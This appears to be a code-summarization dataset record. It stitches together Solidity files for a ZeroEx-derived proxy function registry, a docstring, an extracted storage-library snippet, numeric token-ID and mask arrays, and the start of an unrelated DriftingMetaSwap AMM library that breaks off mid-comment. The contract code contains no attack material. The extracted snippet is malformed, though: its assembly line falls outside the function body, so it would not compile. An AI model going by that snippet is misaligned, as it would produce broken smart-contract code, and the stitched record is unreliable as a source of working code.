emit ProxyFunctionUpdated(selector, currentImpl, targetImpl);
}
/// @dev Register or replace a function.
/// Only directly callable by an authority.
/// @param selector The function selector.
/// @param impl The implementation contract for the function.
function extend(bytes4 selector, address impl) external override onlyOwner {
_extend(selector, impl);
}
/// @dev Register or replace a function.
/// Only callable from within.
/// This function is only used during the bootstrap process and
/// should be deregistered by the deployer after bootstrapping is
/// complete.
/// @param selector The function selector.
/// @param impl The implementation contract for the function.
function _extendSelf(bytes4 selector, address impl) external onlySelf {
_extend(selector, impl);
}
/// @dev Retrieve the length of the rollback history for a function.
/// @param selector The function selector.
/// @return rollbackLength The number of items in the rollback history for
/// the function.
function getRollbackLength(bytes4 selector) external override view returns (uint256) {
return LibSimpleFunctionRegistryStorage.getStorage().implHistory[selector].length;
}
/// @dev Retrieve an entry in the rollback history for a function.
/// @param selector The function selector.
/// @param idx The index in the rollback history.
/// @return impl An implementation address for the function at
/// index `idx`.
function getRollbackEntryAtIndex(bytes4 selector, uint256 idx)
external
override
view
returns (address impl)
{
return LibSimpleFunctionRegistryStorage.getStorage().implHistory[selector][idx];
}
/// @dev Register or replace a function.
/// @param selector The function selector.
/// @param impl The implementation contract for the function.
function _extend(bytes4 selector, address impl) private {
(
LibSimpleFunctionRegistryStorage.Storage storage stor,
LibProxyStorage.Storage storage proxyStor
) = _getStorages();
address oldImpl = proxyStor.impls[selector];
address[] storage history = stor.implHistory[selector];
history.push(oldImpl);
proxyStor.impls[selector] = impl;
emit ProxyFunctionUpdated(selector, oldImpl, impl);
}
/// @dev Get the storage buckets for this feature and the proxy.
/// @return stor Storage bucket for this feature.
/// @return proxyStor age bucket for the proxy.
function _getStorages()
private
pure
returns (
LibSimpleFunctionRegistryStorage.Storage storage stor,
LibProxyStorage.Storage storage proxyStor
)
{
return (
LibSimpleFunctionRegistryStorage.getStorage(),
LibProxyStorage.getStorage()
);
}
}
// SPDX-License-Identifier: Apache-2.0
/*
Modifications Copyright 2022 Element.Market
Copyright 2020 ZeroEx Intl.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
pragma solidity ^0.8.13;
import "../features/interfaces/IOwnableFeature.sol";
import "../features/interfaces/ISimpleFunctionRegistryFeature.sol";
/// @dev Common feature utilities.
abstract contract FixinCommon {
/// @dev The implementation address of this feature.
address internal immutable _implementation;
/// @dev The caller must be this contract.
modifier onlySelf() virtual {
if (msg.sender != address(this)) {
revert("ONLY_CALL_BY_SELF_ERROR");
}
_;
}
/// @dev The caller of this function must be the owner.
modifier onlyOwner() virtual {
{
address owner = IOwnableFeature(address(this)).owner();
if (msg.sender != owner) {
revert("ONLY_OWNER_ERROR");
}
}
_;
}
constructor() {
// Remember this feature's original address.
_implementation = address(this);
}
/// @dev Registers a function implemented by this feature at `_implementation`.
/// Can and should only be called within a `migrate()`.
/// @param selector The selector of the function whose implementation
/// is at `_implementation`.
function _registerFeatureFunction(bytes4 selector) internal {
ISimpleFunctionRegistryFeature(address(this)).extend(selector, _implementation);
}
/// @dev Encode a feature version as a `uint256`.
/// @param major The major version number of the feature.
/// @param minor The minor version number of the feature.
/// @param revision The revision number of the feature.
/// @return encodedVersion The encoded version number.
function _encodeVersion(uint32 major, uint32 minor, uint32 revision)
internal
pure
returns (uint256 encodedVersion)
{
return (uint256(major) << 64) | (uint256(minor) << 32) | uint256(revision);
}
}
// SPDX-License-Identifier: Apache-2.0
/*
Modifications Copyright 2022 Element.Market
Copyright 2020 ZeroEx Intl.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
pragma solidity ^0.8.13;
import "./LibStorage.sol";
/// @dev Storage helpers for the proxy contract.
library LibProxyStorage {
/// @dev Storage bucket for proxy contract.
struct Storage {
// Mapping of function selector -> function implementation
mapping(bytes4 => address) impls;
}
/// @dev Get the storage bucket for this contract.
function getStorage() internal pure returns (Storage storage stor) {
uint256 storageSlot = LibStorage.STORAGE_ID_PROXY;
// Dip into assembly to change the slot pointed to by the local
// variable `stor`.
// See https://solidity.readthedocs.io/en/v0.6.8/assembly.html?highlight=slot#access-to-external-variables-functions-and-libraries
assembly { stor.slot := storageSlot }
}
}
// SPDX-License-Identifier: Apache-2.0
/*
Modifications Copyright 2022 Element.Market
Copyright 2020 ZeroEx Intl.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
pragma solidity ^0.8.13;
import "./LibStorage.sol";
/// @dev Storage helpers for the `SimpleFunctionRegistry` feature.
library LibSimpleFunctionRegistryStorage {
/// @dev Storage bucket for this feature.
struct Storage {
// Mapping of function selector -> implementation history.
mapping(bytes4 => address[]) implHistory;
}
/// @dev Get the storage bucket for this contract.
function getStorage() internal pure returns (Storage storage stor) {
uint256 storageSlot = LibStorage.STORAGE_ID_SIMPLE_FUNCTION_REGISTRY;
// Dip into assembly to change the slot pointed to by the local
// variable `stor`.
// See https://solidity.readthedocs.io/en/v0.6.8/assembly.html?highlight=slot#access-to-external-variables-functions-and-libraries
assembly { stor.slot := storageSlot }
}
}
// SPDX-License-Identifier: Apache-2.0
/*
Modifications Copyright 2022 Element.Market
Copyright 2020 ZeroEx Intl.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
pragma solidity ^0.8.13;
library LibBootstrap {
/// @dev Magic bytes returned by the bootstrapper to indicate success.
/// This is `keccack('BOOTSTRAP_SUCCESS')`.
bytes4 internal constant BOOTSTRAP_SUCCESS = 0xd150751b;
/// @dev Perform a delegatecall and ensure it returns the magic bytes.
/// @param target The call target.
/// @param data The call data.
function delegatecallBootstrapFunction(address target, bytes memory data) internal {
(bool success, bytes memory resultData) = target.delegatecall(data);
if (!success ||
resultData.length != 32 ||
abi.decode(resultData, (bytes4)) != BOOTSTRAP_SUCCESS)
{
revert("BOOTSTRAP_CALL_FAILED");
}
}
}
// SPDX-License-Identifier: Apache-2.0
/*
Modifications Copyright 2022 Element.Market
Copyright 2020 ZeroEx Intl.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
pragma solidity ^0.8.13;
/// @dev Basic interface for a feature contract.
interface IFeature {
// solhint-disable func-name-mixedcase
/// @dev The name of this feature set.
function FEATURE_NAME() external view returns (string memory name);
/// @dev The version of this feature set.
function FEATURE_VERSION() external view returns (uint256 version);
}
// SPDX-License-Identifier: Apache-2.0
/*
Modifications Copyright 2022 Element.Market
Copyright 2020 ZeroEx Intl.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
pragma solidity ^0.8.13;
/// @dev Basic registry management features.
interface ISimpleFunctionRegistryFeature {
/// @dev A function implementation was updated via `extend()` or `rollback()`.
/// @param selector The function selector.
/// @param oldImpl The implementation contract address being replaced.
/// @param newImpl The replacement implementation contract address.
event ProxyFunctionUpdated(bytes4 indexed selector, address oldImpl, address newImpl);
function registerMethods(address impl, bytes4[] calldata methodIDs) external;
/// @dev Roll back to a prior implementation of a function.
/// @param selector The function selector.
/// @param targetImpl The address of an older implementation of the function.
function rollback(bytes4 selector, address targetImpl) external;
/// @dev Register or replace a function.
/// @param selector The function selector.
/// @param impl The implementation contract for the function.
function extend(bytes4 selector, address impl) external;
/// @dev Retrieve the length of the rollback history for a function.
/// @param selector The function selector.
/// @return rollbackLength The number of items in the rollback history for
/// the function.
function getRollbackLength(bytes4 selector) external view returns (uint256);
/// @dev Retrieve an entry in the rollback history for a function.
/// @param selector The function selector.
/// @param idx The index in the rollback history.
/// @return impl An implementation address for the function at
/// index `idx`.
function getRollbackEntryAtIndex(bytes4 selector, uint256 idx)
external
view
returns (address impl);
}
// SPDX-License-Identifier: Apache-2.0
/*
Modifications Copyright 2022 Element.Market
Copyright 2020 ZeroEx Intl.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
pragma solidity ^0.8.13;
// solhint-disable no-empty-blocks
/// @dev Owner management and migration features.
interface IOwnableFeature {
/// @dev Emitted by Ownable when ownership is transferred.
/// @param previousOwner The previous owner of the contract.
/// @param newOwner The new owner of the contract.
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/// @dev Emitted when `migrate()` is called.
/// @param caller The caller of `migrate()`.
/// @param migrator The migration contract.
/// @param newOwner The address of the new owner.
event Migrated(address caller, address migrator, address newOwner);
/// @dev Transfers ownership of the contract to a new address.
/// @param newOwner The address that will become the owner.
function transferOwnership(address newOwner) external;
/// @dev The owner of this contract.
/// @return ownerAddress The owner address.
function owner() external view returns (address ownerAddress);
/// @dev Execute a migration function in the context of the ZeroEx contract.
/// The result of the function being called should be the magic bytes
/// 0x2c64c5ef (`keccack('MIGRATE_SUCCESS')`). Only callable by the owner.
/// The owner will be temporarily set to `address(this)` inside the call.
/// Before returning, the owner will be set to `newOwner`.
/// @param target The migrator contract address.
/// @param newOwner The address of the new owner.
/// @param data The call data.
function migrate(address target, bytes calldata data, address newOwner) external;
}
// SPDX-License-Identifier: Apache-2.0
/*
Modifications Copyright 2022 Element.Market
Copyright 2020 ZeroEx Intl.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
pragma solidity ^0.8.13;
/// @dev Common storage helpers
library LibStorage {
/// @dev What to bit-shift a storage ID by to get its slot.
/// This gives us a maximum of 2**128 inline fields in each bucket.
uint256 constant STORAGE_ID_PROXY = 1 << 128;
uint256 constant STORAGE_ID_SIMPLE_FUNCTION_REGISTRY = 2 << 128;
uint256 constant STORAGE_ID_OWNABLE = 3 << 128;
uint256 constant STORAGE_ID_COMMON_NFT_ORDERS = 4 << 128;
uint256 constant STORAGE_ID_ERC721_ORDERS = 5 << 128;
uint256 constant STORAGE_ID_ERC1155_ORDERS = 6 << 128;
} | @dev Storage helpers for the `SimpleFunctionRegistry` feature. | library LibSimpleFunctionRegistryStorage {
struct Storage {
mapping(bytes4 => address[]) implHistory;
}
function getStorage() internal pure returns (Storage storage stor) {
uint256 storageSlot = LibStorage.STORAGE_ID_SIMPLE_FUNCTION_REGISTRY;
}
assembly { stor.slot := storageSlot }
}
| 13,725,216 | [
1,
3245,
9246,
364,
326,
1375,
5784,
2083,
4243,
68,
2572,
18,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
12083,
10560,
5784,
2083,
4243,
3245,
288,
203,
203,
203,
203,
565,
1958,
5235,
288,
203,
3639,
2874,
12,
3890,
24,
516,
1758,
63,
5717,
9380,
5623,
31,
203,
565,
289,
203,
203,
565,
445,
13840,
1435,
2713,
16618,
1135,
261,
3245,
2502,
19705,
13,
288,
203,
3639,
2254,
5034,
2502,
8764,
273,
10560,
3245,
18,
19009,
67,
734,
67,
31669,
900,
67,
7788,
67,
5937,
25042,
31,
203,
565,
289,
203,
3639,
19931,
288,
19705,
18,
14194,
519,
2502,
8764,
289,
203,
97,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
// SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
import "@openzeppelin/contracts/math/SafeMath.sol";
import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol";
import "../LPToken.sol";
import "../interfaces/IRedemptionPriceGetter.sol";
import "../interfaces/ISwap.sol";
import "../MathUtils.sol";
import "../SwapUtils.sol";
/**
* @title DriftingMetaSwapUtils library
* @notice A library to be used within DriftingMetaSwap.sol. Contains functions responsible for custody and AMM
* functionalities.
*
* DriftingMetaSwap is a modified version of MetaSwap that allows an asset with a drifting target price to be used to
* trade against the base LP token.
*
* @dev Contracts relying on this library must initialize SwapUtils.Swap struct then use this library
* for SwapUtils.Swap struct. Note that this library contains both functions called by users and admins.
* Admin functions should be protected within contracts using this library.
*/
library DriftingMetaSwapUtils {
using SafeERC20 for IERC20;
using SafeMath for uint256;
using MathUtils for uint256;
using AmplificationUtils for SwapUtils.Swap;
/*** EVENTS ***/
event TokenSwap(
address indexed buyer,
uint256 tokensSold,
uint256 tokensBought,
uint128 soldId,
uint128 boughtId
);
event TokenSwapUnderlying(
address indexed buyer,
uint256 tokensSold,
uint256 tokensBought,
uint128 soldId,
uint128 boughtId
);
event AddLiquidity(
address indexed provider,
uint256[] tokenAmounts,
uint256[] fees,
uint256 invariant,
uint256 lpTokenSupply
);
event RemoveLiquidityOne(
address indexed provider,
uint256 lpTokenAmount,
uint256 lpTokenSupply,
uint256 boughtId,
uint256 tokensBought
);
event RemoveLiquidityImbalance(
address indexed provider,
uint256[] tokenAmounts,
uint256[] fees,
uint256 invariant,
uint256 lpTokenSupply
);
event NewAdminFee(uint256 newAdminFee);
event NewSwapFee(uint256 newSwapFee);
event NewWithdrawFee(uint256 newWithdrawFee);
struct DriftingMetaSwap {
// Meta-Swap related parameters
ISwap baseSwap;
IRedemptionPriceGetter redemptionPriceGetter;
uint256 baseVirtualPrice;
uint256 baseCacheLastUpdated;
IERC20[] baseTokens;
}
// Struct storing variables used in calculations in the
// calculateWithdrawOneTokenDY function to avoid stack too deep errors
struct CalculateWithdrawOneTokenDYInfo {
uint256 d0;
uint256 d1;
uint256 newY;
uint256 feePerToken;
uint256 preciseA;
uint256 xpi;
uint256 i;
uint256 dy;
}
// Struct storing variables used in calculation in removeLiquidityImbalance function
// to avoid stack too deep error
struct ManageLiquidityInfo {
uint256 d0;
uint256 d1;
uint256 d2;
LPToken lpToken;
uint256 totalSupply;
uint256 preciseA;
uint256 baseVirtualPrice;
uint256[] scaleMultipliers;
uint256[] newBalances;
}
struct CalculateTokenAmountInfo {
uint256 a;
uint256 d0;
uint256 d1;
uint256 baseVirtualPrice;
}
struct SwapInfo {
uint256 transferredDx;
uint256 dyAdminFee;
uint256 dy;
uint256 dyFee;
uint256[] scaleMultipliers;
}
struct SwapUnderlyingInfo {
uint256 x;
uint256 dx;
uint256 dy;
uint256[] scaleMultipliers;
uint256[] oldBalances;
IERC20[] baseTokens;
IERC20 tokenFrom;
uint8 metaIndexFrom;
IERC20 tokenTo;
uint8 metaIndexTo;
uint256 baseVirtualPrice;
}
struct CalculateSwapUnderlyingInfo {
uint256 baseVirtualPrice;
ISwap baseSwap;
uint8 baseTokensLength;
uint8 metaIndexTo;
uint256 x;
uint256 dy;
}
// the denominator used to calculate admin and LP fees. For example, an
// LP fee might be something like tradeAmount.mul(fee).div(FEE_DENOMINATOR)
uint256 private constant FEE_DENOMINATOR = 10**10;
// Cache expire time for the stored value of base Swap's virtual price
uint256 public constant BASE_CACHE_EXPIRE_TIME = 10 minutes;
uint256 public constant PRECISION = 10**18;
// The precision used by the quasi oracle for the drifting assets target price
uint256 public constant REDEMPTION_PRICE_EXTRA_PRECISION = 10**9;
uint256 public constant DRIFT_ASSET_INDEX = 0;
uint8 public constant BASE_LP_TOKEN_INDEX = 1; // There are always two tokens in a meta pool
uint256 public constant NUM_META_TOKENS = 2;
/*** VIEW & PURE FUNCTIONS ***/
/**
* @notice Get multipliers to scale for the precision used by the two tokens and account for the redemption price of
* the drifting asset.
* @param self Swap struct to read from
* @param driftingMetaSwapStorage DriftingMetaSwap struct to read from
*/
function _getScaleMultipliers(
SwapUtils.Swap storage self,
DriftingMetaSwap storage driftingMetaSwapStorage
) internal view returns (uint256[] memory) {
uint256[] memory scaleMultipliers = self.tokenPrecisionMultipliers;
scaleMultipliers[DRIFT_ASSET_INDEX] = scaleMultipliers[DRIFT_ASSET_INDEX]
.mul(driftingMetaSwapStorage.redemptionPriceGetter.snappedRedemptionPrice())
.div(REDEMPTION_PRICE_EXTRA_PRECISION);
scaleMultipliers[BASE_LP_TOKEN_INDEX] = scaleMultipliers[BASE_LP_TOKEN_INDEX]
.mul(PRECISION);
return scaleMultipliers;
}
/**
* @notice Return the stored value of base Swap's virtual price. If
* value was updated past BASE_CACHE_EXPIRE_TIME, then read it directly
* from the base Swap contract.
* @param driftingMetaSwapStorage DriftingMetaSwap struct to read from
* @return base Swap's virtual price
*/
function _getBaseVirtualPrice(DriftingMetaSwap storage driftingMetaSwapStorage)
internal
view
returns (uint256)
{
if (
block.timestamp >
driftingMetaSwapStorage.baseCacheLastUpdated + BASE_CACHE_EXPIRE_TIME
) {
return driftingMetaSwapStorage.baseSwap.getVirtualPrice();
}
return driftingMetaSwapStorage.baseVirtualPrice;
}
/**
* @notice Calculate how much the user would receive when withdrawing via single token
* @param self Swap struct to read from
* @param driftingMetaSwapStorage DriftingMetaSwap struct to read from
* @param tokenAmount the amount to withdraw in the pool's precision
* @param tokenIndex which token will be withdrawn
* @return dy the amount of token user will receive
*/
function calculateWithdrawOneToken(
SwapUtils.Swap storage self,
DriftingMetaSwap storage driftingMetaSwapStorage,
uint256 tokenAmount,
uint8 tokenIndex
) external view returns (uint256 dy) {
(dy, ) = _calculateWithdrawOneToken(
self,
driftingMetaSwapStorage,
tokenAmount,
tokenIndex,
_getBaseVirtualPrice(driftingMetaSwapStorage),
self.lpToken.totalSupply()
);
}
function _calculateWithdrawOneToken(
SwapUtils.Swap storage self,
DriftingMetaSwap storage driftingMetaSwapStorage,
uint256 tokenAmount,
uint8 tokenIndex,
uint256 baseVirtualPrice,
uint256 totalSupply
) internal view returns (uint256, uint256) {
uint256 dy;
uint256 dySwapFee;
{
uint256 currentY;
uint256 newY;
uint256[] memory scaleMultipliers = _getScaleMultipliers(self, driftingMetaSwapStorage);
// Calculate how much to withdraw
(dy, newY, currentY) = _calculateWithdrawOneTokenDY(
self,
driftingMetaSwapStorage,
tokenIndex,
tokenAmount,
baseVirtualPrice,
totalSupply
);
// Calculate the associated swap fee
dySwapFee = currentY
.sub(newY)
.mul(PRECISION)
.div(scaleMultipliers[tokenIndex])
.sub(dy);
}
return (dy, dySwapFee);
}
/**
* @notice Calculate the dy of withdrawing in one token
* @param self Swap struct to read from
* @param driftingMetaSwapStorage DriftingMetaSwap struct to read from
* @param tokenIndex which token will be withdrawn
* @param tokenAmount the amount to withdraw in the pools precision
* @param baseVirtualPrice the virtual price of the base swap's LP token
* @return the dy excluding swap fee, the new y after withdrawing one token, and current y
*/
function _calculateWithdrawOneTokenDY(
SwapUtils.Swap storage self,
DriftingMetaSwap storage driftingMetaSwapStorage,
uint8 tokenIndex,
uint256 tokenAmount,
uint256 baseVirtualPrice,
uint256 totalSupply
)
internal
view
returns (
uint256,
uint256,
uint256
)
{
// Get the current D, then solve the stableswap invariant
// y_i for D - tokenAmount
uint256[] memory xp = _xp(self, driftingMetaSwapStorage, baseVirtualPrice);
require(tokenIndex < xp.length, "Token index out of range");
CalculateWithdrawOneTokenDYInfo
memory v = CalculateWithdrawOneTokenDYInfo(
0,
0,
0,
0,
self._getAPrecise(),
0,
0,
0
);
v.d0 = SwapUtils.getD(xp, v.preciseA);
v.d1 = v.d0.sub(tokenAmount.mul(v.d0).div(totalSupply));
require(tokenAmount <= xp[tokenIndex], "Withdraw exceeds available");
v.newY = SwapUtils.getYD(v.preciseA, tokenIndex, xp, v.d1);
uint256[] memory xpReduced = new uint256[](xp.length);
uint256[] memory scaleMultipliers = _getScaleMultipliers(self, driftingMetaSwapStorage);
v.feePerToken = SwapUtils._feePerToken(self.swapFee, xp.length);
for (v.i = 0; v.i < xp.length; v.i++) {
v.xpi = xp[v.i];
// if i == tokenIndex, dxExpected = xp[i] * d1 / d0 - newY
// else dxExpected = xp[i] - (xp[i] * d1 / d0)
// xpReduced[i] -= dxExpected * fee / FEE_DENOMINATOR
xpReduced[v.i] = v.xpi.sub(
(
(v.i == tokenIndex)
? v.xpi.mul(v.d1).div(v.d0).sub(v.newY)
: v.xpi.sub(v.xpi.mul(v.d1).div(v.d0))
).mul(v.feePerToken).div(FEE_DENOMINATOR)
);
}
v.dy = xpReduced[tokenIndex].sub(
SwapUtils.getYD(v.preciseA, tokenIndex, xpReduced, v.d1)
);
if (tokenIndex == xp.length.sub(1)) {
v.dy = v.dy.mul(PRECISION).div(baseVirtualPrice);
}
v.dy = v.dy.sub(1).mul(PRECISION).div(scaleMultipliers[tokenIndex]);
return (v.dy, v.newY, xp[tokenIndex]);
}
/**
* @notice Given a set of balances and precision multipliers, return the
* precision-adjusted balances. The last element will also get scaled up by
* the given baseVirtualPrice.
*
* @param balances an array of token balances, in their native precisions.
* These should generally correspond with pooled tokens.
*
* @param scaleMultipliers an array of multipliers, corresponding to
* the amounts in the balances array. When multiplied together they
* should yield amounts at the pool's precision and scale for the drifting
* assets target price.
*
* @param baseVirtualPrice the base virtual price to scale the balance of the
* base Swap's LP token.
*
* @return an array of amounts "scaled" to the pool's precision
*/
function _xp(
uint256[] memory balances,
uint256[] memory scaleMultipliers,
uint256 baseVirtualPrice
) internal pure returns (uint256[] memory) {
uint256[] memory xp = new uint256[](NUM_META_TOKENS);
xp[DRIFT_ASSET_INDEX] = balances[DRIFT_ASSET_INDEX].mul(scaleMultipliers[DRIFT_ASSET_INDEX]).div(PRECISION);
xp[BASE_LP_TOKEN_INDEX] = balances[BASE_LP_TOKEN_INDEX].mul(baseVirtualPrice).div(PRECISION);
return xp;
}
/**
* @notice Return the precision-adjusted balances of all tokens in the pool
* @param self Swap struct to read from
* @param driftingMetaSwapStorage DriftingMetaSwap struct to read from
* @return the pool balances "scaled" to the pool's precision, allowing
* them to be more easily compared.
*/
function _xp(
SwapUtils.Swap storage self,
DriftingMetaSwap storage driftingMetaSwapStorage,
uint256 baseVirtualPrice
)
internal
view
returns (uint256[] memory)
{
return
_xp(
self.balances,
_getScaleMultipliers(self, driftingMetaSwapStorage),
baseVirtualPrice
);
}
/**
* @notice Get the virtual price, to help calculate profit
* @param self Swap struct to read from
* @param driftingMetaSwapStorage DriftingMetaSwap struct to read from
* @return the virtual price, scaled to precision of PRECISION
*/
function getVirtualPrice(
SwapUtils.Swap storage self,
DriftingMetaSwap storage driftingMetaSwapStorage
) external view returns (uint256) {
uint256 d = SwapUtils.getD(
_xp(
self.balances,
_getScaleMultipliers(self, driftingMetaSwapStorage),
_getBaseVirtualPrice(driftingMetaSwapStorage)
),
self._getAPrecise()
);
uint256 supply = self.lpToken.totalSupply();
if (supply != 0) {
return d.mul(PRECISION).div(supply);
}
return 0;
}
/**
* @notice Externally calculates a swap between two tokens. The SwapUtils.Swap storage and
* DriftingMetaSwap storage should be from the same DriftingMetaSwap contract.
* @param self Swap struct to read from
* @param driftingMetaSwapStorage DriftingMetaSwap struct from the same contract
* @param tokenIndexFrom the token to sell
* @param tokenIndexTo the token to buy
* @param dx the number of tokens to sell. If the token charges a fee on transfers,
* use the amount that gets transferred after the fee.
* @return dy the number of tokens the user will get
*/
function calculateSwap(
SwapUtils.Swap storage self,
DriftingMetaSwap storage driftingMetaSwapStorage,
uint8 tokenIndexFrom,
uint8 tokenIndexTo,
uint256 dx
) external view returns (uint256 dy) {
(dy, ) = _calculateSwap(
self,
driftingMetaSwapStorage,
tokenIndexFrom,
tokenIndexTo,
dx,
_getBaseVirtualPrice(driftingMetaSwapStorage)
);
}
/**
* @notice Internally calculates a swap between two tokens.
*
* @dev The caller is expected to transfer the actual amounts (dx and dy)
* using the token contracts.
*
* @param self Swap struct to read from
* @param driftingMetaSwapStorage DriftingMetaSwap struct to read from
* @param tokenIndexFrom the token to sell
* @param tokenIndexTo the token to buy
* @param dx the number of tokens to sell. If the token charges a fee on transfers,
* use the amount that gets transferred after the fee.
* @param baseVirtualPrice the virtual price of the base LP token
* @return dy the number of tokens the user will get and dyFee the associated fee
*/
function _calculateSwap(
SwapUtils.Swap storage self,
DriftingMetaSwap storage driftingMetaSwapStorage,
uint8 tokenIndexFrom,
uint8 tokenIndexTo,
uint256 dx,
uint256 baseVirtualPrice
) internal view returns (uint256 dy, uint256 dyFee) {
uint256[] memory xp = _xp(self, driftingMetaSwapStorage, baseVirtualPrice);
require(
tokenIndexFrom < xp.length && tokenIndexTo < xp.length,
"Token index out of range"
);
uint256[] memory scaleMultipliers = _getScaleMultipliers(self, driftingMetaSwapStorage);
uint256 x = dx.mul(scaleMultipliers[tokenIndexFrom]).div(PRECISION);
x = x.add(xp[tokenIndexFrom]);
uint256 y = SwapUtils.getY(
self._getAPrecise(),
tokenIndexFrom,
tokenIndexTo,
x,
xp
);
dy = xp[tokenIndexTo].sub(y).sub(1);
dyFee = dy.mul(self.swapFee).div(FEE_DENOMINATOR);
dy = dy.sub(dyFee).mul(PRECISION).div(scaleMultipliers[tokenIndexTo]);
}
/**
* @notice Calculates the expected return amount from swapping between
* the pooled tokens and the underlying tokens of the base Swap pool.
*
* @param self Swap struct to read from
* @param driftingMetaSwapStorage DriftingMetaSwap struct from the same contract
* @param tokenIndexFrom the token to sell
* @param tokenIndexTo the token to buy
* @param dx the number of tokens to sell. If the token charges a fee on transfers,
